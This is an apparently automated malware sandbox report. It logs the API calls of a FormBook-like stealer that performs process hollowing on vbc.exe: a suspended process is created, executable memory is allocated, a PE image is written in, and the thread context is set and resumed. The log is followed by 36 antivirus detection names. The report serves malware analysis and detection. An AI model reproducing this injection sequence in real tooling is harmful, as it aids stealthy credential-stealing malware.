NtResumeThread Sept. 2, 2021, 9:14 a.m.	thread_handle: 0x00000194 suspend_count: 1 process_identifier: 2528	1	0
NtResumeThread Sept. 2, 2021, 9:14 a.m.	thread_handle: 0x00000208 suspend_count: 1 process_identifier: 2528	1	0
NtGetContextThread Sept. 2, 2021, 9:14 a.m.	thread_handle: 0x000000ec	1	0
NtGetContextThread Sept. 2, 2021, 9:14 a.m.	thread_handle: 0x000000ec	1	0
NtResumeThread Sept. 2, 2021, 9:14 a.m.	thread_handle: 0x000000ec suspend_count: 1 process_identifier: 2528	1	0
NtResumeThread Sept. 2, 2021, 9:15 a.m.	thread_handle: 0x000002b0 suspend_count: 1 process_identifier: 2528	1	0
NtGetContextThread Sept. 2, 2021, 9:15 a.m.	thread_handle: 0x000000ec	1	0
NtGetContextThread Sept. 2, 2021, 9:15 a.m.	thread_handle: 0x000000ec	1	0
NtResumeThread Sept. 2, 2021, 9:15 a.m.	thread_handle: 0x000000ec suspend_count: 1 process_identifier: 2528	1	0
CreateProcessInternalW Sept. 2, 2021, 9:15 a.m.	thread_identifier: 2168 thread_handle: 0x000002c4 process_identifier: 2252 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\vbc.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\vbc.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000002c8	1	1
NtGetContextThread Sept. 2, 2021, 9:15 a.m.	thread_handle: 0x000002c4	1	0
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2252 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002c8	1	0
WriteProcessMemory Sept. 2, 2021, 9:15 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPEL£ÆEà p Ð@@.textÐop ` base_address: 0x00400000 process_identifier: 2252 process_handle: 0x000002c8	1	1
WriteProcessMemory Sept. 2, 2021, 9:15 a.m.	buffer: base_address: 0x00401000 process_identifier: 2252 process_handle: 0x000002c8	1	1
WriteProcessMemory Sept. 2, 2021, 9:15 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2252 process_handle: 0x000002c8	1	1
NtSetContextThread Sept. 2, 2021, 9:15 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4313120 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002c4 process_identifier: 2252	1	0
NtResumeThread Sept. 2, 2021, 9:15 a.m.	thread_handle: 0x000002c4 suspend_count: 1 process_identifier: 2252	1	0

File has been identified by 36 AntiVirus engines on VirusTotal as malicious (36 events)

Lionic	Trojan.MSIL.Injuke.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.37518597
FireEye	Generic.mg.d32b55acf96361e5
McAfee	Artemis!D32B55ACF963
Cylance	Unsafe
Sangfor	Suspicious.Win32.Save.a
CrowdStrike	win/malicious_confidence_90% (W)
Alibaba	Trojan:Win32/csharp.ali2000008
Cyren	W32/MSIL_Troj.BKR.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Kryptik.ACQR
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan.MSIL.Taskun.gen
BitDefender	Trojan.GenericKD.37518597
Avast	Win32:PWSX-gen [Trj]
Tencent	Msil.Trojan.Taskun.Wofr
Ad-Aware	Trojan.GenericKD.37518597
Sophos	Mal/Generic-S
Comodo	TrojWare.Win32.Agent.cahet@0
McAfee-GW-Edition	BehavesLike.Win32.Generic.gc
Emsisoft	Trojan.GenericKD.37518597 (B)
Ikarus	Trojan.MSIL.Krypt
Webroot	W32.Trojan.MSIL.Taskun
Kingsoft	Win32.Troj.Generic_a.a.(kcloud)
Microsoft	Trojan:Win32/Woreflint.A!cl
GData	Win32.Trojan-Stealer.FormBook.SW3UHN
BitDefenderTheta	Gen:NN.ZemsilF.34126.Em0@aSCYmr
MAX	malware (ai score=86)
VBA32	CIL.HeapOverride.Heur
Malwarebytes	MachineLearning/Anomalous.95%
SentinelOne	Static AI - Malicious PE
Fortinet	MSIL/GenKryptik.FJWB!tr
AVG	Win32:PWSX-gen [Trj]
MaxSecure	Trojan.Malware.300983.susgen

vbc.exe

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